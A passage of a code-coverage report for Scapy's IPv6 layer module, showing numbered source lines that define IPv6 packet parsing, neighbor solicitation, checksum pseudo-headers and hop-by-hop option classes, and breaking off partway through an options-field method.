Coverage for /pythoncovmergedfiles/medio/medio/usr/local/lib/python3.11/site-packages/scapy/layers/inet6.py: 53%

Shortcuts on this page

r m x   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1813 statements  

1# SPDX-License-Identifier: GPL-2.0-only 

2# This file is part of Scapy 

3# See https://scapy.net/ for more information 

4# Copyright (C) Guillaume Valadon <guedou@hongo.wide.ad.jp> 

5# Copyright (C) Arnaud Ebalard <arnaud.ebalard@eads.net> 

6 

7# Cool history about this file: http://natisbad.org/scapy/index.html 

8 

9 

10""" 

11IPv6 (Internet Protocol v6). 

12""" 

13 

14 

15from hashlib import md5 

16import random 

17import socket 

18import struct 

19from time import gmtime, strftime 

20 

21from scapy.arch import get_if_hwaddr 

22from scapy.as_resolvers import AS_resolver_riswhois 

23from scapy.base_classes import Gen, _ScopedIP 

24from scapy.compat import chb, raw, plain_str, bytes_encode 

25from scapy.consts import WINDOWS, OPENBSD 

26from scapy.config import conf 

27from scapy.data import ( 

28 DLT_IPV6, 

29 DLT_RAW, 

30 DLT_RAW_ALT, 

31 ETHER_ANY, 

32 ETH_P_ALL, 

33 ETH_P_IPV6, 

34 MTU, 

35) 

36from scapy.error import log_runtime, warning 

37from scapy.fields import ( 

38 BitEnumField, 

39 BitField, 

40 ByteEnumField, 

41 ByteField, 

42 DestIP6Field, 

43 FieldLenField, 

44 FlagsField, 

45 IntField, 

46 IP6Field, 

47 LongField, 

48 MACField, 

49 MayEnd, 

50 PacketLenField, 

51 PacketListField, 

52 ShortEnumField, 

53 ShortField, 

54 SourceIP6Field, 

55 StrField, 

56 StrFixedLenField, 

57 StrLenField, 

58 X3BytesField, 

59 XBitField, 

60 XByteField, 

61 XIntField, 

62 XShortField, 

63) 

64from scapy.layers.inet import ( 

65 _ICMPExtensionField, 

66 _ICMPExtensionPadField, 

67 _ICMP_extpad_post_dissection, 

68 IP, 

69 IPTools, 

70 TCP, 

71 TCPerror, 

72 TracerouteResult, 

73 UDP, 

74 UDPerror, 

75) 

76from scapy.layers.l2 import ( 

77 CookedLinux, 

78 Ether, 

79 GRE, 

80 Loopback, 

81 SNAP, 

82 SourceMACField, 

83) 

84from scapy.packet import bind_layers, Packet, Raw 

85from scapy.sendrecv import sendp, sniff, sr, srp1 

86from scapy.supersocket import SuperSocket 

87from scapy.utils import checksum, strxor 

88from scapy.pton_ntop import inet_pton, inet_ntop 

89from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \ 

90 in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \ 

91 in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo 

92from scapy.volatile import RandInt, RandShort 

93 

94# Typing 

95from typing import ( 

96 Optional, 

97) 

98 

99if not socket.has_ipv6: 

100 raise socket.error("can't use AF_INET6, IPv6 is disabled") 

101if not hasattr(socket, "IPPROTO_IPV6"): 

102 # Workaround for http://bugs.python.org/issue6926 

103 socket.IPPROTO_IPV6 = 41 

104if not hasattr(socket, "IPPROTO_IPIP"): 

105 # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 

106 socket.IPPROTO_IPIP = 4 

107 

108if conf.route6 is None: 

109 # unused import, only to initialize conf.route6 

110 import scapy.route6 # noqa: F401 

111 

112########################## 

113# Neighbor cache stuff # 

114########################## 

115 

116conf.netcache.new_cache("in6_neighbor", 120) 

117 

118 

119@conf.commands.register 

120def neighsol(addr, src, iface, timeout=1, chainCC=0): 

121 """Sends and receive an ICMPv6 Neighbor Solicitation message 

122 

123 This function sends an ICMPv6 Neighbor Solicitation message 

124 to get the MAC address of the neighbor with specified IPv6 address address. 

125 

126 'src' address is used as the source IPv6 address of the message. Message 

127 is sent on 'iface'. The source MAC address is retrieved accordingly. 

128 

129 By default, timeout waiting for an answer is 1 second. 

130 

131 If no answer is gathered, None is returned. Else, the answer is 

132 returned (ethernet frame). 

133 """ 

134 

135 nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) 

136 d = inet_ntop(socket.AF_INET6, nsma) 

137 dm = in6_getnsmac(nsma) 

138 sm = get_if_hwaddr(iface) 

139 p = Ether(dst=dm, src=sm) / IPv6(dst=d, src=src, hlim=255) 

140 p /= ICMPv6ND_NS(tgt=addr) 

141 p /= ICMPv6NDOptSrcLLAddr(lladdr=sm) 

142 res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=timeout, verbose=0, 

143 chainCC=chainCC) 

144 

145 return res 

146 

147 

148@conf.commands.register 

149def getmacbyip6(ip6, chainCC=0): 

150 # type: (str, int) -> Optional[str] 

151 """ 

152 Returns the MAC address of the next hop used to reach a given IPv6 address. 

153 

154 neighborCache.get() method is used on instantiated neighbor cache. 

155 Resolution mechanism is described in associated doc string. 

156 

157 (chainCC parameter value ends up being passed to sending function 

158 used to perform the resolution, if needed) 

159 

160 .. seealso:: :func:`~scapy.layers.l2.getmacbyip` for IPv4. 

161 """ 

162 # Sanitize the IP 

163 if isinstance(ip6, Net6): 

164 ip6 = str(ip6) 

165 

166 # Multicast 

167 if in6_ismaddr(ip6): # mcast @ 

168 mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) 

169 return mac 

170 

171 scope = ip6.scope if isinstance(ip6, _ScopedIP) else None 

172 iff, a, nh = conf.route6.route(ip6, dev=scope) 

173 

174 if iff == conf.loopback_name: 

175 return "ff:ff:ff:ff:ff:ff" 

176 

177 if nh != '::': 

178 ip6 = nh # Found next hop 

179 

180 cache_key = "%s%%%s" % (ip6, iff) if scope is not None else ip6 

181 

182 mac = conf.netcache.in6_neighbor.get(cache_key) 

183 if mac: 

184 return mac 

185 

186 res = neighsol(ip6, a, iff, chainCC=chainCC) 

187 

188 if res is not None: 

189 if ICMPv6NDOptDstLLAddr in res: 

190 mac = res[ICMPv6NDOptDstLLAddr].lladdr 

191 else: 

192 mac = res.src 

193 conf.netcache.in6_neighbor[cache_key] = mac 

194 return mac 

195 

196 return None 

197 

198 

199############################################################################# 

200############################################################################# 

201# IPv6 Class # 

202############################################################################# 

203############################################################################# 

204 

205ipv6nh = {0: "Hop-by-Hop Option Header", 

206 4: "IP", 

207 6: "TCP", 

208 17: "UDP", 

209 41: "IPv6", 

210 43: "Routing Header", 

211 44: "Fragment Header", 

212 47: "GRE", 

213 50: "ESP Header", 

214 51: "AH Header", 

215 58: "ICMPv6", 

216 59: "No Next Header", 

217 60: "Destination Option Header", 

218 112: "VRRP", 

219 132: "SCTP", 

220 135: "Mobility Header"} 

221 

222ipv6nhcls = {0: "IPv6ExtHdrHopByHop", 

223 4: "IP", 

224 6: "TCP", 

225 17: "UDP", 

226 43: "IPv6ExtHdrRouting", 

227 44: "IPv6ExtHdrFragment", 

228 50: "ESP", 

229 51: "AH", 

230 58: "ICMPv6Unknown", 

231 59: "Raw", 

232 60: "IPv6ExtHdrDestOpt"} 

233 

234 

235class IP6ListField(StrField): 

236 __slots__ = ["count_from", "length_from"] 

237 islist = 1 

238 

239 def __init__(self, name, default, count_from=None, length_from=None): 

240 if default is None: 

241 default = [] 

242 StrField.__init__(self, name, default) 

243 self.count_from = count_from 

244 self.length_from = length_from 

245 

246 def i2len(self, pkt, i): 

247 return 16 * len(i) 

248 

249 def i2count(self, pkt, i): 

250 if isinstance(i, list): 

251 return len(i) 

252 return 0 

253 

254 def getfield(self, pkt, s): 

255 c = tmp_len = None 

256 if self.length_from is not None: 

257 tmp_len = self.length_from(pkt) 

258 elif self.count_from is not None: 

259 c = self.count_from(pkt) 

260 

261 lst = [] 

262 ret = b"" 

263 remain = s 

264 if tmp_len is not None: 

265 remain, ret = s[:tmp_len], s[tmp_len:] 

266 while remain: 

267 if c is not None: 

268 if c <= 0: 

269 break 

270 c -= 1 

271 if len(remain) < 16: 

272 # not enough bytes for a full IPv6 address: a truncated or 

273 # misaligned list. Leave the remainder for the next layer 

274 # instead of feeding a short buffer to inet_ntop(). 

275 break 

276 addr = inet_ntop(socket.AF_INET6, remain[:16]) 

277 lst.append(addr) 

278 remain = remain[16:] 

279 return remain + ret, lst 

280 

281 def i2m(self, pkt, x): 

282 s = b"" 

283 for y in x: 

284 try: 

285 y = inet_pton(socket.AF_INET6, y) 

286 except Exception: 

287 y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] 

288 y = inet_pton(socket.AF_INET6, y) 

289 s += y 

290 return s 

291 

292 def i2repr(self, pkt, x): 

293 s = [] 

294 if x is None: 

295 return "[]" 

296 for y in x: 

297 s.append('%s' % y) 

298 return "[ %s ]" % (", ".join(s)) 

299 

300 

301class _IPv6GuessPayload: 

302 name = "Dummy class that implements guess_payload_class() for IPv6" 

303 

304 def default_payload_class(self, p): 

305 if self.nh == 58: # ICMPv6 

306 t = p[0] 

307 if len(p) > 2 and (t == 139 or t == 140): # Node Info Query 

308 return _niquery_guesser(p) 

309 if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501 

310 if t == 130 and len(p) >= 28: 

311 # RFC 3810 - 8.1. Query Version Distinctions 

312 return ICMPv6MLQuery2 

313 return icmp6typescls.get(t, Raw) 

314 return Raw 

315 elif self.nh == 135 and len(p) > 3: # Mobile IPv6 

316 return _mip6_mhtype2cls.get(p[2], MIP6MH_Generic) 

317 elif self.nh == 43 and p[2] == 4: # Segment Routing header 

318 return IPv6ExtHdrSegmentRouting 

319 return ipv6nhcls.get(self.nh, Raw) 

320 

321 

322class IPv6(_IPv6GuessPayload, Packet, IPTools): 

323 name = "IPv6" 

324 fields_desc = [BitField("version", 6, 4), 

325 BitField("tc", 0, 8), 

326 BitField("fl", 0, 20), 

327 ShortField("plen", None), 

328 ByteEnumField("nh", 59, ipv6nh), 

329 ByteField("hlim", 64), 

330 SourceIP6Field("src"), 

331 DestIP6Field("dst", "::1")] 

332 

333 def route(self): 

334 """Used to select the L2 address""" 

335 dst = self.dst 

336 scope = None 

337 if isinstance(dst, (Net6, _ScopedIP)): 

338 scope = dst.scope 

339 if isinstance(dst, (Gen, list)): 

340 dst = next(iter(dst)) 

341 return conf.route6.route(dst, dev=scope) 

342 

343 def mysummary(self): 

344 return "%s > %s (%i)" % (self.src, self.dst, self.nh) 

345 

346 def post_build(self, p, pay): 

347 p += pay 

348 if self.plen is None: 

349 tmp_len = len(p) - 40 

350 p = p[:4] + struct.pack("!H", tmp_len) + p[6:] 

351 return p 

352 

353 def extract_padding(self, data): 

354 """Extract the IPv6 payload""" 

355 

356 if self.plen == 0 and self.nh == 0 and len(data) >= 8: 

357 # Extract Hop-by-Hop extension length 

358 hbh_len = data[1] 

359 hbh_len = 8 + hbh_len * 8 

360 

361 # Extract length from the Jumbogram option 

362 # Note: the following algorithm take advantage of the Jumbo option 

363 # mandatory alignment (4n + 2, RFC2675 Section 2) 

364 jumbo_len = None 

365 idx = 0 

366 offset = 4 * idx + 2 

367 while offset <= len(data): 

368 opt_type = data[offset] 

369 if opt_type == 0xc2: # Jumbo option 

370 jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501 

371 break 

372 offset = 4 * idx + 2 

373 idx += 1 

374 

375 if jumbo_len is None: 

376 log_runtime.info("Scapy did not find a Jumbo option") 

377 jumbo_len = 0 

378 

379 tmp_len = hbh_len + jumbo_len 

380 else: 

381 tmp_len = self.plen 

382 

383 return data[:tmp_len], data[tmp_len:] 

384 

385 def hashret(self): 

386 if self.nh == 58 and isinstance(self.payload, _ICMPv6): 

387 if self.payload.type < 128: 

388 return self.payload.payload.hashret() 

389 elif (self.payload.type in [133, 134, 135, 136, 144, 145]): 

390 return struct.pack("B", self.nh) + self.payload.hashret() 

391 

392 if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6 

393 return self.payload.hashret() 

394 

395 nh = self.nh 

396 sd = self.dst 

397 ss = self.src 

398 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): 

399 # With routing header, the destination is the last 

400 # address of the IPv6 list if segleft > 0 

401 nh = self.payload.nh 

402 try: 

403 sd = self.addresses[-1] 

404 except IndexError: 

405 sd = '::1' 

406 # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501 

407 # could be anything from the original list ... 

408 if 1: 

409 sd = inet_pton(socket.AF_INET6, sd) 

410 for a in self.addresses: 

411 a = inet_pton(socket.AF_INET6, a) 

412 sd = strxor(sd, a) 

413 sd = inet_ntop(socket.AF_INET6, sd) 

414 

415 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 

416 # With segment routing header (rh == 4), the destination is 

417 # the first address of the IPv6 addresses list 

418 try: 

419 sd = self.addresses[0] 

420 except IndexError: 

421 sd = self.dst 

422 

423 if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): 

424 nh = self.payload.nh 

425 

426 if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): 

427 nh = self.payload.nh 

428 

429 if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): 

430 foundhao = None 

431 for o in self.payload.options: 

432 if isinstance(o, HAO): 

433 foundhao = o 

434 if foundhao: 

435 ss = foundhao.hoa 

436 nh = self.payload.nh # XXX what if another extension follows ? 

437 

438 if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): 

439 sd = inet_pton(socket.AF_INET6, sd) 

440 ss = inet_pton(socket.AF_INET6, ss) 

441 return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501 

442 else: 

443 return struct.pack("B", nh) + self.payload.hashret() 

444 

445 def answers(self, other): 

446 if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP 

447 if self.nh in [4, 41]: 

448 return self.payload.answers(other) 

449 if isinstance(other, IPv6) and other.nh in [4, 41]: 

450 return self.answers(other.payload) 

451 if isinstance(other, IP) and other.proto in [4, 41]: 

452 return self.answers(other.payload) 

453 if not isinstance(other, IPv6): # self is reply, other is request 

454 return False 

455 if conf.checkIPaddr: 

456 # ss = inet_pton(socket.AF_INET6, self.src) 

457 sd = inet_pton(socket.AF_INET6, self.dst) 

458 os = inet_pton(socket.AF_INET6, other.src) 

459 od = inet_pton(socket.AF_INET6, other.dst) 

460 # request was sent to a multicast address (other.dst) 

461 # Check reply destination addr matches request source addr (i.e 

462 # sd == os) except when reply is multicasted too 

463 # XXX test mcast scope matching ? 

464 if in6_ismaddr(other.dst): 

465 if in6_ismaddr(self.dst): 

466 if ((od == sd) or 

467 (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501 

468 return self.payload.answers(other.payload) 

469 return False 

470 if (os == sd): 

471 return self.payload.answers(other.payload) 

472 return False 

473 elif (sd != os): # or ss != od): <- removed for ICMP errors 

474 return False 

475 if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501 

476 # ICMPv6 Error message -> generated by IPv6 packet 

477 # Note : at the moment, we jump the ICMPv6 specific class 

478 # to call answers() method of erroneous packet (over 

479 # initial packet). There can be cases where an ICMPv6 error 

480 # class could implement a specific answers method that perform 

481 # a specific task. Currently, don't see any use ... 

482 return self.payload.payload.answers(other) 

483 elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): 

484 return self.payload.answers(other.payload) 

485 elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): 

486 return self.payload.answers(other.payload.payload) 

487 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): 

488 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 

489 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 

490 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 

491 elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): 

492 # Extension Headers can show weird behavior. 

493 # Linux's sk_buff considers the IPv6 Payload 

494 # to be either TCP, UDP or ICMP. It does not 

495 # consider Extension Headers to be the payload. 

496 # Following similar architecture, this small 

497 # modification lets packet flow with Destination 

498 # Option on both, request and response packets 

499 # be captured as well. 

500 if UDP in self and UDP in other: 

501 return self[UDP].answers(other[UDP]) 

502 elif TCP in self and TCP in other: 

503 return self[TCP].answers(other[TCP]) 

504 else: 

505 return self.payload.answers(other.payload.payload) 

506 elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501 

507 return self.payload.payload.answers(other.payload) 

508 else: 

509 if (self.nh != other.nh): 

510 return False 

511 return self.payload.answers(other.payload) 

512 

513 

514class IPv46(IP, IPv6): 

515 """ 

516 This class implements a dispatcher that is used to detect the IP version 

517 while parsing Raw IP pcap files. 

518 """ 

519 name = "IPv4/6" 

520 

521 @classmethod 

522 def dispatch_hook(cls, _pkt=None, *_, **kargs): 

523 if _pkt: 

524 if _pkt[0] >> 4 == 6: 

525 return IPv6 

526 elif kargs.get("version") == 6: 

527 return IPv6 

528 return IP 

529 

530 

531def inet6_register_l3(l2, l3): 

532 """ 

533 Resolves the default L2 destination address when IPv6 is used. 

534 """ 

535 return getmacbyip6(l3.dst) 

536 

537 

538conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) 

539 

540 

541class IPerror6(IPv6): 

542 name = "IPv6 in ICMPv6" 

543 

544 def answers(self, other): 

545 if not isinstance(other, IPv6): 

546 return False 

547 sd = inet_pton(socket.AF_INET6, self.dst) 

548 ss = inet_pton(socket.AF_INET6, self.src) 

549 od = inet_pton(socket.AF_INET6, other.dst) 

550 os = inet_pton(socket.AF_INET6, other.src) 

551 

552 # Make sure that the ICMPv6 error is related to the packet scapy sent 

553 if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: 

554 

555 # find upper layer for self (possible citation) 

556 selfup = self.payload 

557 while selfup is not None and isinstance(selfup, _IPv6ExtHdr): 

558 selfup = selfup.payload 

559 

560 # find upper layer for other (initial packet). Also look for RH 

561 otherup = other.payload 

562 request_has_rh = False 

563 while otherup is not None and isinstance(otherup, _IPv6ExtHdr): 

564 if isinstance(otherup, IPv6ExtHdrRouting): 

565 request_has_rh = True 

566 otherup = otherup.payload 

567 

568 if ((ss == os and sd == od) or # < Basic case 

569 (ss == os and request_has_rh)): 

570 # ^ Request has a RH : don't check dst address 

571 

572 # Let's deal with possible MSS Clamping 

573 if (isinstance(selfup, TCP) and 

574 isinstance(otherup, TCP) and 

575 selfup.options != otherup.options): # seems clamped 

576 

577 # Save fields modified by MSS clamping 

578 old_otherup_opts = otherup.options 

579 old_otherup_cksum = otherup.chksum 

580 old_otherup_dataofs = otherup.dataofs 

581 old_selfup_opts = selfup.options 

582 old_selfup_cksum = selfup.chksum 

583 old_selfup_dataofs = selfup.dataofs 

584 

585 # Nullify them 

586 otherup.options = [] 

587 otherup.chksum = 0 

588 otherup.dataofs = 0 

589 selfup.options = [] 

590 selfup.chksum = 0 

591 selfup.dataofs = 0 

592 

593 # Test it and save result 

594 s1 = raw(selfup) 

595 s2 = raw(otherup) 

596 tmp_len = min(len(s1), len(s2)) 

597 res = s1[:tmp_len] == s2[:tmp_len] 

598 

599 # recall saved values 

600 otherup.options = old_otherup_opts 

601 otherup.chksum = old_otherup_cksum 

602 otherup.dataofs = old_otherup_dataofs 

603 selfup.options = old_selfup_opts 

604 selfup.chksum = old_selfup_cksum 

605 selfup.dataofs = old_selfup_dataofs 

606 

607 return res 

608 

609 s1 = raw(selfup) 

610 s2 = raw(otherup) 

611 tmp_len = min(len(s1), len(s2)) 

612 return s1[:tmp_len] == s2[:tmp_len] 

613 

614 return False 

615 

616 def mysummary(self): 

617 return Packet.mysummary(self) 

618 

619 

620############################################################################# 

621############################################################################# 

622# Upper Layer Checksum computation # 

623############################################################################# 

624############################################################################# 

625 

626class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation 

627 name = "Pseudo IPv6 Header" 

628 fields_desc = [IP6Field("src", "::"), 

629 IP6Field("dst", "::"), 

630 IntField("uplen", None), 

631 BitField("zero", 0, 24), 

632 ByteField("nh", 0)] 

633 

634 

635def in6_pseudoheader(nh, u, plen): 

636 # type: (int, IP, int) -> PseudoIPv6 

637 """ 

638 Build an PseudoIPv6 instance as specified in RFC 2460 8.1 

639 

640 This function operates by filling a pseudo header class instance 

641 (PseudoIPv6) with: 

642 - Next Header value 

643 - the address of _final_ destination (if some Routing Header with non 

644 segleft field is present in underlayer classes, last address is used.) 

645 - the address of _real_ source (basically the source address of an 

646 IPv6 class instance available in the underlayer or the source address 

647 in HAO option if some Destination Option header found in underlayer 

648 includes this option). 

649 - the length is the length of provided payload string ('p') 

650 

651 :param nh: value of upper layer protocol 

652 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be 

653 provided with all under layers (IPv6 and all extension headers, 

654 for example) 

655 :param plen: the length of the upper layer and payload 

656 """ 

657 ph6 = PseudoIPv6() 

658 ph6.nh = nh 

659 rthdr = 0 

660 hahdr = 0 

661 final_dest_addr_found = 0 

662 while u is not None and not isinstance(u, IPv6): 

663 if (isinstance(u, IPv6ExtHdrRouting) and 

664 u.segleft != 0 and len(u.addresses) != 0 and 

665 final_dest_addr_found == 0): 

666 rthdr = u.addresses[-1] 

667 final_dest_addr_found = 1 

668 elif (isinstance(u, IPv6ExtHdrSegmentRouting) and 

669 u.segleft != 0 and len(u.addresses) != 0 and 

670 final_dest_addr_found == 0): 

671 rthdr = u.addresses[0] 

672 final_dest_addr_found = 1 

673 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and 

674 isinstance(u.options[0], HAO)): 

675 hahdr = u.options[0].hoa 

676 u = u.underlayer 

677 if u is None: 

678 warning("No IPv6 underlayer to compute checksum. Leaving null.") 

679 return None 

680 if hahdr: 

681 ph6.src = hahdr 

682 else: 

683 ph6.src = u.src 

684 if rthdr: 

685 ph6.dst = rthdr 

686 else: 

687 ph6.dst = u.dst 

688 ph6.uplen = plen 

689 return ph6 

690 

691 

692def in6_chksum(nh, u, p): 

693 """ 

694 As Specified in RFC 2460 - 8.1 Upper-Layer Checksums 

695 

696 See also `.in6_pseudoheader` 

697 

698 :param nh: value of upper layer protocol 

699 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be 

700 provided with all under layers (IPv6 and all extension headers, 

701 for example) 

702 :param p: the payload of the upper layer provided as a string 

703 """ 

704 ph6 = in6_pseudoheader(nh, u, len(p)) 

705 if ph6 is None: 

706 return 0 

707 ph6s = raw(ph6) 

708 return checksum(ph6s + p) 

709 

710 

711############################################################################# 

712############################################################################# 

713# Extension Headers # 

714############################################################################# 

715############################################################################# 

716 

717nh_clserror = {socket.IPPROTO_TCP: TCPerror, 

718 socket.IPPROTO_UDP: UDPerror} 

719 

720 

721# Inherited by all extension header classes 

722class _IPv6ExtHdr(_IPv6GuessPayload, Packet): 

723 name = 'Abstract IPv6 Option Header' 

724 aliastypes = [IPv6] 

725 

726 def guess_payload_class(self, payload): 

727 if self.nh in nh_clserror: 

728 underlayer = self.underlayer 

729 while underlayer: 

730 if isinstance(underlayer, IPerror6): 

731 return nh_clserror[self.nh] 

732 underlayer = underlayer.underlayer 

733 return super(_IPv6ExtHdr, self).guess_payload_class(payload) 

734 

735 

736# IPv6 options for Extension Headers # 

737 

738_hbhopts = {0x00: "Pad1", 

739 0x01: "PadN", 

740 0x04: "Tunnel Encapsulation Limit", 

741 0x05: "Router Alert", 

742 0x06: "Quick-Start", 

743 0xc2: "Jumbo Payload", 

744 0xc9: "Home Address Option"} 

745 

746 

747class _OTypeField(ByteEnumField): 

748 """ 

749 Modified BytEnumField that displays information regarding the IPv6 option 

750 based on its option type value (What should be done by nodes that process 

751 the option if they do not understand it ...) 

752 

753 It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options 

754 """ 

755 pol = {0x00: "00: skip", 

756 0x40: "01: discard", 

757 0x80: "10: discard+ICMP", 

758 0xC0: "11: discard+ICMP not mcast"} 

759 

760 enroutechange = {0x00: "0: Don't change en-route", 

761 0x20: "1: May change en-route"} 

762 

763 def i2repr(self, pkt, x): 

764 s = self.i2s.get(x, repr(x)) 

765 polstr = self.pol[(x & 0xC0)] 

766 enroutechangestr = self.enroutechange[(x & 0x20)] 

767 return "%s [%s, %s]" % (s, polstr, enroutechangestr) 

768 

769 

770class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option 

771 name = "Scapy6 Unknown Option" 

772 fields_desc = [_OTypeField("otype", 0x01, _hbhopts), 

773 FieldLenField("optlen", None, length_of="optdata", fmt="B"), 

774 StrLenField("optdata", "", 

775 length_from=lambda pkt: pkt.optlen)] 

776 

777 def alignment_delta(self, curpos): # By default, no alignment requirement 

778 """ 

779 As specified in section 4.2 of RFC 2460, every options has 

780 an alignment requirement usually expressed xn+y, meaning 

781 the Option Type must appear at an integer multiple of x octets 

782 from the start of the header, plus y octets. 

783 

784 That function is provided the current position from the 

785 start of the header and returns required padding length. 

786 """ 

787 return 0 

788 

789 @classmethod 

790 def dispatch_hook(cls, _pkt=None, *args, **kargs): 

791 if _pkt: 

792 o = _pkt[0] # Option type 

793 if o in _hbhoptcls: 

794 return _hbhoptcls[o] 

795 return cls 

796 

797 def extract_padding(self, p): 

798 return b"", p 

799 

800 

801class Pad1(Packet): # IPv6 Hop-By-Hop Option 

802 name = "Pad1" 

803 fields_desc = [_OTypeField("otype", 0x00, _hbhopts)] 

804 

805 def alignment_delta(self, curpos): # No alignment requirement 

806 return 0 

807 

808 def extract_padding(self, p): 

809 return b"", p 

810 

811 

812class PadN(Packet): # IPv6 Hop-By-Hop Option 

813 name = "PadN" 

814 fields_desc = [_OTypeField("otype", 0x01, _hbhopts), 

815 FieldLenField("optlen", None, length_of="optdata", fmt="B"), 

816 StrLenField("optdata", "", 

817 length_from=lambda pkt: pkt.optlen)] 

818 

819 def alignment_delta(self, curpos): # No alignment requirement 

820 return 0 

821 

822 def extract_padding(self, p): 

823 return b"", p 

824 

825 

826class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option 

827 name = "Router Alert" 

828 fields_desc = [_OTypeField("otype", 0x05, _hbhopts), 

829 ByteField("optlen", 2), 

830 ShortEnumField("value", None, 

831 {0: "Datagram contains a MLD message", 

832 1: "Datagram contains RSVP message", 

833 2: "Datagram contains an Active Network message", # noqa: E501 

834 68: "NSIS NATFW NSLP", 

835 69: "MPLS OAM", 

836 65535: "Reserved"})] 

837 # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501 

838 # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501 

839 # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501 

840 # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml 

841 

842 def alignment_delta(self, curpos): # alignment requirement : 2n+0 

843 x = 2 

844 y = 0 

845 delta = x * ((curpos - y + x - 1) // x) + y - curpos 

846 return delta 

847 

848 def extract_padding(self, p): 

849 return b"", p 

850 

851 

852class RplOption(Packet): # RFC 6553 - RPL Option 

853 name = "RPL Option" 

854 fields_desc = [_OTypeField("otype", 0x63, _hbhopts), 

855 ByteField("optlen", 4), 

856 BitField("Down", 0, 1), 

857 BitField("RankError", 0, 1), 

858 BitField("ForwardError", 0, 1), 

859 BitField("unused", 0, 5), 

860 XByteField("RplInstanceId", 0), 

861 XShortField("SenderRank", 0)] 

862 

863 def alignment_delta(self, curpos): # alignment requirement : 2n+0 

864 x = 2 

865 y = 0 

866 delta = x * ((curpos - y + x - 1) // x) + y - curpos 

867 return delta 

868 

869 def extract_padding(self, p): 

870 return b"", p 

871 

872 

873class Jumbo(Packet): # IPv6 Hop-By-Hop Option 

874 name = "Jumbo Payload" 

875 fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), 

876 ByteField("optlen", 4), 

877 IntField("jumboplen", None)] 

878 

879 def alignment_delta(self, curpos): # alignment requirement : 4n+2 

880 x = 4 

881 y = 2 

882 delta = x * ((curpos - y + x - 1) // x) + y - curpos 

883 return delta 

884 

885 def extract_padding(self, p): 

886 return b"", p 

887 

888 

889class HAO(Packet): # IPv6 Destination Options Header Option 

890 name = "Home Address Option" 

891 fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), 

892 ByteField("optlen", 16), 

893 IP6Field("hoa", "::")] 

894 

895 def alignment_delta(self, curpos): # alignment requirement : 8n+6 

896 x = 8 

897 y = 6 

898 delta = x * ((curpos - y + x - 1) // x) + y - curpos 

899 return delta 

900 

901 def extract_padding(self, p): 

902 return b"", p 

903 

904 

905_hbhoptcls = {0x00: Pad1, 

906 0x01: PadN, 

907 0x05: RouterAlert, 

908 0x63: RplOption, 

909 0xC2: Jumbo, 

910 0xC9: HAO} 

911 

912 

913# Hop-by-Hop Extension Header # 

914 

915class _OptionsField(PacketListField): 

916 __slots__ = ["curpos"] 

917 

918 def __init__(self, name, default, cls, curpos, *args, **kargs): 

919 self.curpos = curpos 

920 PacketListField.__init__(self, name, default, cls, *args, **kargs) 

921 

922 def i2len(self, pkt, i): 

923 return len(self.i2m(pkt, i)) 

924 

925 def i2m(self, pkt, x): 

926 autopad = None 

927 try: 

928 autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field 

929 except Exception: 

930 autopad = 1 

931 

932 if not autopad: 

933 return b"".join(map(bytes, x)) 

934 

935 curpos = self.curpos 

936 s = b"" 

937 for p in x: 

938 d = p.alignment_delta(curpos) 

939 curpos += d 

940 if d == 1: 

941 s += raw(Pad1()) 

942 elif d != 0: 

943 s += raw(PadN(optdata=b'\x00' * (d - 2))) 

944 pstr = raw(p) 

945 curpos += len(pstr) 

946 s += pstr 

947 

948 # Let's make the class including our option field 

949 # a multiple of 8 octets long 

